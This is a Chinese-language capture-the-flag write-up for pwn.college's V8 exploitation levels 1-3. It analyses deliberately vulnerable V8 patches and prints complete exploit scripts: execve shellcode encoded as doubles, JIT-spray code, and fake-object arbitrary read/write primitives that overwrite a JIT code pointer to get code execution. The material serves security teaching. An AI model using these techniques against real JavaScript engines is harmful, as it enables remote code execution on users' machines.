本文为pwncollege V8 Exploitation WP, 包含LEVEL 1-3
更新于2024.11.29
欢迎在文末评论区进行留言讨论或指出问题

前言

题目地址:https://pwn.college/quarterly-quiz/v8-exploitation

  • 总共有level 1-9,每个题目包含:
    • commit版本号
    • patch
    • build参数
    • 以及d8

这里我建议直接把commit、patch和build参数拷贝下来,自己本地编译一个d8即可。我参照之前的编译脚本重新做了些修改

Usage

这里的patch_file尽量使用绝对路径,不然会有些小BUG

1
./build_v8_patch.sh <commit_hash> <patch_file> [build_name]

build.sh

  • 注意:

    • 绝对路径部分需要自行更改

    • --args的部分可根据题目要求自行进行更改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/bin/bash

VER=$1
PATCH_FILE=$2
NAME=${3:-$VER}

if [ -z "$VER" ]; then
echo "Usage: $0 <commit_hash> <patch_file> [build_name]"
exit 1
fi

cd /home/loorain/v8/v8/ || { echo "Failed to change directory"; exit 1; }

git reset --hard "$VER" || { echo "Failed to reset to commit $VER"; exit 1; }

gclient sync -D || { echo "Failed to sync dependencies"; exit 1; }

if [ -n "$PATCH_FILE" ]; then
if [ -f "$PATCH_FILE" ]; then
git apply "$PATCH_FILE" || { echo "Failed to apply patch $PATCH_FILE"; exit 1; }
else
echo "Patch file $PATCH_FILE not found"
exit 1
fi
fi

gn gen out/x64_$NAME.release --args='is_component_build = false is_debug = false target_cpu = "x64" v8_enable_sandbox = false v8_enable_backtrace = true v8_enable_disassembler = true v8_enable_object_print = true dcheck_always_on = false use_goma = false v8_code_pointer_sandboxing = false' || { echo "Failed to generate build configuration"; exit 1; }

ninja -C out/x64_$NAME.release d8 || { echo "Build failed"; exit 1; }

echo "Build completed successfully"

LEVEL 1

patch

直接来看patch部分增加的代码。在patch最下方,可以很明显看到新增了run()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc
index 48249695b7b..40a762c24c8 100644
--- a/src/init/bootstrapper.cc
+++ b/src/init/bootstrapper.cc
@@ -2533,6 +2533,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,

SimpleInstallFunction(isolate_, proto, "at", Builtin::kArrayPrototypeAt, 1,
true);
+ SimpleInstallFunction(isolate_, proto, "run",
+ Builtin::kArrayRun, 0, false);
SimpleInstallFunction(isolate_, proto, "concat",
Builtin::kArrayPrototypeConcat, 1, false);
SimpleInstallFunction(isolate_, proto, "copyWithin",

如下也能判断出应当是针对Array数组类型

1
2
3
4
5
6
7
8
9
10
11
12
13
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index 9a346d134b9..58fd42e59a4 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1937,6 +1937,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
return Type::Receiver();
case Builtin::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
+ case Builtin::kArrayRun:
+ return Type::Receiver();

// ArrayBuffer functions.
case Builtin::kArrayBufferIsView:

这里便是ArrayRun()的完整具体实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
@@ -407,6 +409,47 @@ BUILTIN(ArrayPush) {
return *isolate->factory()->NewNumberFromUint((new_length));
}

+BUILTIN(ArrayRun) {
+ HandleScope scope(isolate);
+ Factory *factory = isolate->factory();
+ Handle<Object> receiver = args.receiver();
+
+ if (!IsJSArray(*receiver) || !HasOnlySimpleReceiverElements(isolate, Cast<JSArray>(*receiver))) {
+ THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+ factory->NewStringFromAsciiChecked("Nope")));
+ }
+
+ Handle<JSArray> array = Cast<JSArray>(receiver);
+ ElementsKind kind = array->GetElementsKind();
+
+ if (kind != PACKED_DOUBLE_ELEMENTS) {
+ THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+ factory->NewStringFromAsciiChecked("Need array of double numbers")));
+ }
+
+ uint32_t length = static_cast<uint32_t>(Object::NumberValue(array->length()));
+ if (sizeof(double) * (uint64_t)length > 4096) {
+ THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+ factory->NewStringFromAsciiChecked("array too long")));
+ }
+
+ // mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+ double *mem = (double *)mmap(NULL, 4096, 7, 0x22, -1, 0);
+ if (mem == (double *)-1) {
+ THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+ factory->NewStringFromAsciiChecked("mmap failed")));
+ }
+
+ Handle<FixedDoubleArray> elements(Cast<FixedDoubleArray>(array->elements()), isolate);
+ FOR_WITH_HANDLE_SCOPE(isolate, uint32_t, i = 0, i, i < length, i++, {
+ double x = elements->get_scalar(i);
+ mem[i] = x;
+ });
+
+ ((void (*)())mem)();
+ return 0;
+}
+
namespace {

V8_WARN_UNUSED_RESULT Tagged<Object> GenericArrayPop(Isolate* isolate,

ArrayRun

这里对核心代码ArrayRun进行分析。首先,对receiver进行了check

1
2
3
4
if (!IsJSArray(*receiver) || !HasOnlySimpleReceiverElements(isolate, Cast<JSArray>(*receiver))) {
THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
factory->NewStringFromAsciiChecked("Nope")));
}

判断其是否为Array并且只拥有Simple Receiver Elements,一般来讲指:

  • 连续的整数索引:数组元素是连续的、以整数索引的方式排列,没有稀疏的元素(即不是Holey)。
  • 标准数组结构:数组没有被转化为稀疏数组或其他类型的对象,比如它没有修改过 length 属性,或者没有不连续的索引。
  • MapSet 结构:数组没有使用非整数的键名(例如,字符串、Symbol、对象作为键)来存储值。

接着获取数组元素类型并判断,要求类型为PAKCED_DOUBLE_ELEMENTS,即双精度浮点元素。

1
2
3
4
5
6
7
Handle<JSArray> array = Cast<JSArray>(receiver);
ElementsKind kind = array->GetElementsKind();

if (kind != PACKED_DOUBLE_ELEMENTS) {//双精度Double check
THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
factory->NewStringFromAsciiChecked("Need array of double numbers")));
}

题外话:

PAKCED_DOUBLE_ELEMENTS并不意味着所有的元素必须都是双精度浮点。因为元素类型是子集包含关系,如下图:

image-20241127164435937

由图可知,PACKED_SMI_ELEMENTSPACKED_DOUBLE_ELEMENTS的子集,所以也可以包含SMI小整形。具体的关于Elements Kinds的内容可以查看这篇文章:Elements kinds in V8

之后使用mmap开辟了一片RWX区域

1
2
3
4
5
6
// mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
double *mem = (double *)mmap(NULL, 4096, 7, 0x22, -1, 0);
if (mem == (double *)-1) {
THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
factory->NewStringFromAsciiChecked("mmap failed")));
}

最后拷贝array中的double数据存入mem中,然后直接执行mem

1
2
3
4
5
6
7
8
Handle<FixedDoubleArray> elements(Cast<FixedDoubleArray>(array->elements()), isolate);
FOR_WITH_HANDLE_SCOPE(isolate, uint32_t, i = 0, i, i < length, i++, {
double x = elements->get_scalar(i);
mem[i] = x;
});

((void (*)())mem)();
return 0;

总体来说,比较简单就是一个double data shellcode

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
function BigIntToDouble(bigIntArray) {
const buffer = new ArrayBuffer(shellcode.length * 8);
const view = new DataView(buffer);

bigIntArray.forEach((bigInt, index) => {
view.setBigUint64(index * 8, bigInt, true);
});

const double_array = new Float64Array(buffer);
return Array.from(double_array);
}

// execve("/bin/sh", 0, 0)
var shellcode = [
16323657644055069034n,
16611888020206780778n,
2608851925472796776n,
7307011539825918209n,
5210783956162667311n,
7308335460934430648n,
6357792841636794478n,
14757395258967590159n];

var shellcode_dArray = BigIntToDouble(shellcode);
// console.log(shellcode_dArray);
// %DebugPrint(shellcode_dArray);
shellcode_dArray.run();

LEVEL 2

patch

同样,首先分析Patch文件,可以明显的看到,增加了三个函数GetAddressOfArbRead32ArbWrite32

1
2
3
4
5
6
7
8
9
10
11
12
13
14
diff --git a/src/d8/d8.h b/src/d8/d8.h
index a19d4a0eae4..476675a7150 100644
--- a/src/d8/d8.h
+++ b/src/d8/d8.h
@@ -507,6 +507,9 @@ class Shell : public i::AllStatic {
};
enum class CodeType { kFileName, kString, kFunction, kInvalid, kNone };

+ static void GetAddressOf(const v8::FunctionCallbackInfo<v8::Value>& args);
+ static void ArbRead32(const v8::FunctionCallbackInfo<v8::Value>& args);
+ static void ArbWrite32(const v8::FunctionCallbackInfo<v8::Value>& args);
static bool ExecuteString(Isolate* isolate, Local<String> source,
Local<String> name,
ReportExceptions report_exceptions,

下面看看具体函数实现

GetAddressOf

有之前V8 CVE复现基础的情况下,我们很容易猜测其应当是获取某个对象的地址的函数,直接来看看实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void Shell::GetAddressOf(const v8::FunctionCallbackInfo<v8::Value>& info) {
v8::Isolate* isolate = info.GetIsolate();

if (info.Length() == 0) {
isolate->ThrowError("First argument must be provided");
return;
}

internal::Handle<internal::Object> arg = Utils::OpenHandle(*info[0]);
if (!IsHeapObject(*arg)) {
isolate->ThrowError("First argument must be a HeapObject");
return;
}
internal::Tagged<internal::HeapObject> obj = internal::Cast<internal::HeapObject>(*arg);

uint32_t address = static_cast<uint32_t>(obj->address());
info.GetReturnValue().Set(v8::Integer::NewFromUnsigned(isolate, address));
}

整体比较容易理解,能够返回一个HeapObjectaddress

ArbRead32

下面看看ArbRead32()的实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void Shell::ArbRead32(const v8::FunctionCallbackInfo<v8::Value>& info) {
Isolate *isolate = info.GetIsolate();
if (info.Length() != 1) {
isolate->ThrowError("Need exactly one argument");
return;
}
internal::Handle<internal::Object> arg = Utils::OpenHandle(*info[0]);
if (!IsNumber(*arg)) {
isolate->ThrowError("Argument should be a number");
return;
}
internal::PtrComprCageBase cage_base = internal::GetPtrComprCageBase();
internal::Address base_addr = internal::V8HeapCompressionScheme::GetPtrComprCageBaseAddress(cage_base);
uint32_t addr = static_cast<uint32_t>(internal::Object::NumberValue(*arg));
uint64_t full_addr = base_addr + (uint64_t)addr;
uint32_t result = *(uint32_t *)full_addr;
info.GetReturnValue().Set(v8::Integer::NewFromUnsigned(isolate, result));
}

读取指定地址的32位内容并返回

从源代码中,我们能看到输入和返回的地址并不是实际意义上的虚拟地址,而是偏移地址,需要加上base才是真实地址(也就是熟知的指针压缩)

ArbWrite32

这个函数对应于ArbRead32(),接收两个32bit参数,像32位偏移地址写入32位数据,实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void Shell::ArbWrite32(const v8::FunctionCallbackInfo<v8::Value>& info) {
Isolate *isolate = info.GetIsolate();
if (info.Length() != 2) {
isolate->ThrowError("Need exactly 2 arguments");
return;
}
internal::Handle<internal::Object> arg1 = Utils::OpenHandle(*info[0]);
internal::Handle<internal::Object> arg2 = Utils::OpenHandle(*info[1]);
if (!IsNumber(*arg1) || !IsNumber(*arg2)) {
isolate->ThrowError("Arguments should be numbers");
return;
}
internal::PtrComprCageBase cage_base = internal::GetPtrComprCageBase();
internal::Address base_addr = internal::V8HeapCompressionScheme::GetPtrComprCageBaseAddress(cage_base);
uint32_t addr = static_cast<uint32_t>(internal::Object::NumberValue(*arg1));
uint32_t value = static_cast<uint32_t>(internal::Object::NumberValue(*arg2));
uint64_t full_addr = base_addr + (uint64_t)addr;
*(uint32_t *)full_addr = value;
}

exp

  • 本题可以使用JIT Spary的方式解决,可以看这篇文章:JIT-Spray
  • 利用GetAddressOf以及ArbRead32泄露shellcode中对应优化后对应机器码地址
  • 然后利用ArbWrite32修改指针便宜到浮点数位置即可

参考exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// execve("catflag", 0, 0);
const shellcode = () => {return [1.9995716422075807e-246,
1.9710255944286777e-246,
1.97118242283721e-246,
1.971136949489835e-246,
1.9711826272869888e-246,
1.9711829003383248e-246,
-9.254983612527998e+61];}

// %PrepareFunctionForOptimization(shellcode);
// shellcode();
// %OptimizeFunctionOnNextCall(shellcode);
// shellcode();
// %DebugPrint(shellcode);

for(let i = 0; i< 10000; i++) shellcode();
// %DebugPrint(shellcode);
shellcode_addr = GetAddressOf(shellcode);
console.log("shellcode-->" + shellcode_addr);
source_code_addr = ArbRead32(shellcode_addr + 0xc);
console.log("source_code_addr-->" + source_code_addr);
rwx_addr = ArbRead32(source_code_addr - 1 + 0x14);
console.log("rwx_addr-->"+rwx_addr);
float_shellcode_addr = rwx_addr + 0x69 + 2;
ArbWrite32(source_code_addr - 1 + 0x14,float_shellcode_addr);

shellcode()

image-20241128171844026

LEVEL 3

patch

先来看patch,熟悉的GetAddressOf()GetFakeObject()

1
2
3
4
5
6
7
8
9
10
11
12
13
diff --git a/src/d8/d8.h b/src/d8/d8.h
index a19d4a0eae4..fbb091afbaf 100644
--- a/src/d8/d8.h
+++ b/src/d8/d8.h
@@ -507,6 +507,8 @@ class Shell : public i::AllStatic {
};
enum class CodeType { kFileName, kString, kFunction, kInvalid, kNone };

+ static void GetAddressOf(const v8::FunctionCallbackInfo<v8::Value>& args);
+ static void GetFakeObject(const v8::FunctionCallbackInfo<v8::Value>& args);
static bool ExecuteString(Isolate* isolate, Local<String> source,
Local<String> name,
ReportExceptions report_exceptions,

GetAddressOf & GetFakeObject

相信有一点v8利用基础的大家,对于这两个函数再熟悉不过了,不做过多分析了,可以自己看看代码实现

额外:不过需要注意,这里返回的也是uint32_t的偏移地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
void Shell::GetAddressOf(const v8::FunctionCallbackInfo<v8::Value>& info) {
v8::Isolate* isolate = info.GetIsolate();

if (info.Length() == 0) {
isolate->ThrowError("First argument must be provided");
return;
}

internal::Handle<internal::Object> arg = Utils::OpenHandle(*info[0]);
if (!IsHeapObject(*arg)) {
isolate->ThrowError("First argument must be a HeapObject");
return;
}
internal::Tagged<internal::HeapObject> obj = internal::Cast<internal::HeapObject>(*arg);

uint32_t address = static_cast<uint32_t>(obj->address());
info.GetReturnValue().Set(v8::Integer::NewFromUnsigned(isolate, address));
}

void Shell::GetFakeObject(const v8::FunctionCallbackInfo<v8::Value>& info) {
v8::Isolate *isolate = info.GetIsolate();
Local<v8::Context> context = isolate->GetCurrentContext();

if (info.Length() != 1) {
isolate->ThrowError("Need exactly one argument");
return;
}

Local<v8::Uint32> arg;
if (!info[0]->ToUint32(context).ToLocal(&arg)) {
isolate->ThrowError("Argument must be a number");
return;
}

uint32_t addr = arg->Value();

internal::PtrComprCageBase cage_base = internal::GetPtrComprCageBase();
internal::Address base_addr = internal::V8HeapCompressionScheme::GetPtrComprCageBaseAddress(cage_base);
uint64_t full_addr = base_addr + (uint64_t)addr;

internal::Tagged<internal::HeapObject> obj = internal::HeapObject::FromAddress(full_addr);
internal::Isolate *i_isolate = reinterpret_cast<internal::Isolate*>(isolate);
internal::Handle<internal::Object> obj_handle(obj, i_isolate);
info.GetReturnValue().Set(ToApiHandle<v8::Value>(obj_handle));
}

ArbRead & ArbWrite

如果我们参考LEVEL2的,那么这个题目思路就转变为了:

  1. 使用GetAddressOf() & GetFakeObject()构建 ArbRead32()ArbWrite32()(也就是任意地址读写原语)
  2. 之后思路同LEVEL2
  3. ….
  4. ….

其实这部分思路,在我之前的博客V8通用利用链研究中已经有所阐述(通过addressOffakeObject构造任意读写原语,然后写shellcode进入WASM生成的RWX段)

个人非常讨厌抄板子,因此,这里从头梳理如何实现任意地址写原语的思路

相信大家对js中的对象存储结构已经有一定了解,这里就不过多阐述。如果还是不太清楚,可以阅读这篇文章:Fast properties in V8

以下面代码为例

1
2
var a = [1.1, 1.1, 1.1];
console.log(a[0]);

我们都知道获取a[0]应当有以下几个关键点:

  • elements: 用来定位数据存储的空间,以保证能够索引data的空间。
  • **HiddenClass(map): **用来存储数据类型等等与对象形状相关,以保证获取的data类型。
  • len: 用来表示elements的长度,以保证索引在合法范围内。

因此,

  • 如果能控制elements,就能让a[0]在寻址时访问不同内存空间。
  • 如果能控制**HiddenClass(map)**,就能影响Array的数据类型。
  • 如果能控制len,就能利用a[xxxx]索引进行越界读写。

换句话说,只要能控制这三个内容,可以很轻松的实现任意地址读写原语。

然而,我们已经拥有了GetFakeObject()函数,我们完全可以在一个Array的数据区域精心构造一个fakeObj。然后利用GetAddressOf()计算偏移得到fakeObj 的地址,再使用GetFakeObject()获得fakeObj对象。从此我们便有了一个能够随意更改**elements, map, len…**结构的对象,任意地址读写再轻松不过了。请看如下代码:

1
2
3
4
5
6
7
8
9
10
11
var a = [1.1, 1.1, 1.1];

var fake_map = [i2f(0x31040404001c0261n), i2f(0x0a0007ff11000844n)]; //fake_double_array_map

double_array_addr = GetAddressOf(a) - 0x20; // a.elements
console.log("double_array_addr -->0x"+hex(double_array_addr));
fake_double_map_addr = GetAddressOf(fake_map) + 0x24
console.log("fake_double_array_map --0x"+ hex(fake_double_map_addr));

var fake_array = [u2f(fake_double_map_addr + 1, 0), u2f(double_array_addr + 1,100)]; //map, properties, elements, len
var fake_obj = GetFakeObject(GetAddressOf(fake_array) + 0x24);

这里用到了一些数据类型转换的自定义函数,这里是相关代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);

function hex(i) {
return i.toString(16).padStart(8, "0");
}

function i2f(i) {
bigUint64[0] = i;
return f64[0];
}

function f2i(i) {
f64[0] = i;
return bigUint64[0];
}

function u2f(low, high) {
u32[0] = low;
u32[1] = high;
return f64[0];
}

function u2i(low, high) {
u32[0] = low;
u32[1] = high;
return bigUint64[0];
}

这里便成功构造了一个fake_obj,其中由于此时还无法任意地址读,所以也需要伪造一个fake_double_map结构。

  • fake_obj.map是伪造的
  • fake_obj.elements借用了a.elements
  • len随便定义了个100

到这里,相信任意地址读写已经呼之欲出了,无非通过fake_array[1]赋值来更改fake_obj.elements,之后借助fake_obj[0]进行读取写入即可,参考代码:

1
2
3
4
5
6
7
8
9
function ArbRead64(addr) {
fake_array[1] = u2f(addr-8+1,100);
return f2i(fake_obj[0]);
}

function ArbWrite64(addr, data) {
fake_array[1] = u2f(addr-8+1,100);
fake_obj[0] = i2f(data);
}

这里实现64 bit是因为我使用的是Double Array。如果想要实现32 bit的任意读写,借助SMI Array就行了。不过需要注意SMI数值在内存中存储左移了一位(也就是*2)

exp

后面的部分只能说与LEVEL2大差不差了,参考EXP如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);

function hex(i) {
return i.toString(16).padStart(8, "0");
}

function i2f(i) {
bigUint64[0] = i;
return f64[0];
}

function f2i(i) {
f64[0] = i;
return bigUint64[0];
}

function u2f(low, high) {
u32[0] = low;
u32[1] = high;
return f64[0];
}

function u2i(low, high) {
u32[0] = low;
u32[1] = high;
return bigUint64[0];
}

function i2u_l(i) {
bigUint64[0] = i;
return u32[0];
}

function i2u_h() {
bigUint64[0] = i;
return u32[1];
}

const shellcode = () => {return [1.9995716422075807e-246,
1.9710255944286777e-246,
1.97118242283721e-246,
1.971136949489835e-246,
1.9711826272869888e-246,
1.9711829003383248e-246,
-9.254983612527998e+61];}

for(let i = 0; i< 10000; i++) shellcode();

var a = [1.1, 1.1, 1.1];

var fake_map = [i2f(0x31040404001c0261n), i2f(0x0a0007ff11000844n)];

double_array_addr = GetAddressOf(a) + 0x18;
console.log("double_array_addr -->0x"+hex(double_array_addr));
fake_double_map_addr = GetAddressOf(fake_map) + 0x54
console.log("fake_double_array_map -->0x"+ hex(fake_double_map_addr));

var fake_array = [u2f(fake_double_map_addr + 1, 0), u2f(double_array_addr + 1,100)]; //map, properties, elements, len
var fake_obj = GetFakeObject(GetAddressOf(fake_array) + 0x54);

function ArbRead64(addr) {
fake_array[1] = u2f(addr-8+1,100);
return f2i(fake_obj[0]);
}

function ArbWrite64(addr, data) {
fake_array[1] = u2f(addr-8+1,100);
fake_obj[0] = i2f(data);
}

shellcode_addr = GetAddressOf(shellcode);
console.log("shellcode_addr-->0x"+hex(shellcode_addr));

code_addr = i2u_l(ArbRead64(shellcode_addr + 0xc));
console.log("code_addr-->0x"+hex(code_addr));
machine_code_addr = ArbRead64(code_addr+0x14-1);
console.log("machine_code_addr-->0x"+hex(machine_code_addr));

ArbWrite64(code_addr+0x14-1, machine_code_addr+0x69n+2n);

machine_code_addr = ArbRead64(code_addr+0x14-1);
console.log("machine_code_addr-->0x"+hex(machine_code_addr));

shellcode();